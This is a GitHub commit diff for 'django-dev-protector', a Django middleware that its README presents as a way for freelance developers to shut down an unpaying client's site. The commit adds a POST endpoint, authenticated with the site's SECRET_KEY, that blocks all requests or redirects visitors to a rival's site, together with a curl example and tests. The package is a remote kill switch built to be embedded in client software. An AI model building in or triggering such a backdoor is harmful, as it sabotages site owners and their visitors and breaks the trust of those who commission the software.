Skip to content

Commit b6d09a1

Browse files
committed
Version 0.2
1 parent 2f7c863 commit b6d09a1

File tree

10 files changed

+41
-61
lines changed

10 files changed

+41
-61
lines changed

README.md

Lines changed: 16 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ django-dev-protector
22
====================
33
The app for freelance developers, that blocks site if needed.
44

5-
It can be used in situations when a client don't want to pay your work. The app blocks all requests to the site and shows a template.
5+
It can be used in situations when a client don't want to pay your work. The app blocks all requests to the site and shows a message of this situation.
66

77
Installation
88
------------
@@ -32,21 +32,27 @@ PROTECT_TEMPLATE_NAME = 'django_dev_protector/index.html'
3232
3333
# if redirect url is set, then default template would be
3434
# redirects person after 10 sec
35-
PROTECT_REDIRECT_URL = None
35+
PROTECT_REDIRECT_URL = 'http://your_client_opponent_site.com/'
3636
```
3737
By default server is unblocked
3838

3939
Usage
4040
-----
41-
You must generate and save your hash first
41+
You save your django SECRET_KEY from settings
4242
```
43-
./manage.py generatehash
43+
SECRET_KEY = '...
4444
```
45-
After you are able to block
45+
After you are able to block or unblock site with POST requests
4646
```
47-
http://127.0.0.1:8000/django_dev_protector/<hash>/on/
47+
{
48+
"key": <SECRET_KEY>,
49+
"status": true
50+
}
51+
POST to http://<your_domain>/django_dev_protector/
52+
```
53+
An example
54+
```
55+
curl \
56+
-H "Content-Type: application/json" \
57+
-X POST -d '{"key": "<SECRET_KEY>", "status": true}' \ http://<your_domain>/django_dev_protector/
4858
```
49-
or unblock site with GET requests
50-
```
51-
http://127.0.0.1:8000/django_dev_protector/<hash>/off/
52-
```

django_dev_protector/management/__init__.py

Whitespace-only changes.

django_dev_protector/management/commands/__init__.py

Whitespace-only changes.

django_dev_protector/management/commands/generatehash.py

Lines changed: 0 additions & 25 deletions
This file was deleted.

django_dev_protector/middleware.py

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -3,21 +3,21 @@
33

44
from django.shortcuts import render, redirect
55
from django.utils.deprecation import MiddlewareMixin
6-
from .settings import TEMPLATE_NAME, REDIRECT_URL, PROTECT_STATUS_VARIABLE, PROTECT_HASH_VARIABLE
6+
from django.conf import settings
7+
from .settings import TEMPLATE_NAME, REDIRECT_URL, PROTECT_STATUS_VARIABLE
78

89

910
class ControlMiddleware(MiddlewareMixin):
1011
def process_request(self, request):
11-
url = match(r'^/django_dev_protector/(?P<hash>\w+)/(?P<status>(on)|(off))/$', request.path)
12-
if url and url.group('hash') == environ[PROTECT_HASH_VARIABLE]:
13-
if url.group('status') == 'on':
14-
status = 'True'
15-
else:
16-
status = 'False'
17-
from .setup import save_status
18-
environ[PROTECT_STATUS_VARIABLE] = status
19-
save_status(status)
20-
return redirect('/')
12+
url = match(r'^/django_dev_protector/$', request.path)
13+
if url and request.method == 'POST':
14+
import json
15+
data = json.loads(request.body.decode('utf-8'))
16+
if data['key'] == settings.SECRET_KEY:
17+
from .setup import save_status
18+
environ[PROTECT_STATUS_VARIABLE] = str(data['status'])
19+
save_status(str(data['status']))
20+
return redirect('/')
2121

2222
if environ.get(PROTECT_STATUS_VARIABLE) == 'True':
2323
from django.shortcuts import render

django_dev_protector/protect_hash.conf

Lines changed: 0 additions & 1 deletion
This file was deleted.

django_dev_protector/settings.py

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,15 +6,12 @@
66
PROTECT_STATUS_DEFAULT = False
77

88
PROTECT_STATUS_VARIABLE = 'PROTECT_STATUS_VARIABLE'
9-
PROTECT_HASH_VARIABLE = 'PROTECT_HASH_VARIABLE'
109
PROTECT_STATUS_FILE = '/protect_status.conf'
11-
PROTECT_HASH_FILE = '/protect_hash.conf'
1210

1311
TEMPLATE_NAME = 'django_dev_protector/index.html' if not hasattr(settings, 'PROTECT_TEMPLATE_NAME') else settings.PROTECT_TEMPLATE_NAME
1412

1513
REDIRECT_URL = None if not hasattr(settings, 'PROTECT_REDIRECT_URL') else settings.PROTECT_REDIRECT_URL
1614

1715

18-
from django_dev_protector.setup import get_status, get_hash
16+
from django_dev_protector.setup import get_status
1917
os.environ[PROTECT_STATUS_VARIABLE] = get_status()
20-
os.environ[PROTECT_HASH_VARIABLE] = get_hash()

django_dev_protector/setup.py

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,9 @@
11
import os
22

33
from .settings import (PROTECT_STATUS_FILE, PROTECT_STATUS_VARIABLE,
4-
PROTECT_STATUS_DEFAULT, DIR_NAME, PROTECT_HASH_FILE)
4+
PROTECT_STATUS_DEFAULT, DIR_NAME)
55

66
STATUS_FILE_NAME = DIR_NAME + PROTECT_STATUS_FILE
7-
HASH_FILE_NAME = DIR_NAME + PROTECT_HASH_FILE
87

98

109
def save_to_file(text, file_name):
@@ -42,8 +41,3 @@ def get_status():
4241
save_status(PROTECT_STATUS_DEFAULT)
4342
return PROTECT_STATUS_DEFAULT
4443
return res
45-
46-
47-
def get_hash():
48-
"""Get saved hash from file"""
49-
return get_from_file(HASH_FILE_NAME)

django_dev_protector/tests.py

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,9 @@
1+
import json
12
from django.test import TestCase, Client
3+
from django.conf import settings
24

35
import django_dev_protector.settings
4-
from django_dev_protector.setup import get_hash, get_status, save_status
6+
from django_dev_protector.setup import get_status
57

68

79
class MiddlewareTests(TestCase):
@@ -10,12 +12,18 @@ def test_block_the_server(self):
1012
"""
1113
Blocks server by request
1214
"""
13-
response = self.client.get('/django_dev_protector/%s/on/' % get_hash())
15+
response = self.client.post('/django_dev_protector/', json.dumps({
16+
'key': settings.SECRET_KEY,
17+
'status': True
18+
}), content_type='application/json')
1419
self.assertEqual(get_status(), 'True')
1520

1621
def test_unblock_the_server(self):
1722
"""
1823
Unblocks server by request
1924
"""
20-
response = self.client.get('/django_dev_protector/%s/off/' % get_hash())
25+
response = self.client.post('/django_dev_protector/', json.dumps({
26+
'key': settings.SECRET_KEY,
27+
'status': False
28+
}), content_type='application/json')
2129
self.assertEqual(get_status(), 'False')

tests/settings.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99

1010
ALLOWED_HOSTS = []
1111

12+
PROTECT_REDIRECT_URL = 'http://ya.ru'
1213

1314
INSTALLED_APPS = [
1415
'django.contrib.admin',

0 commit comments

Comments
 (0)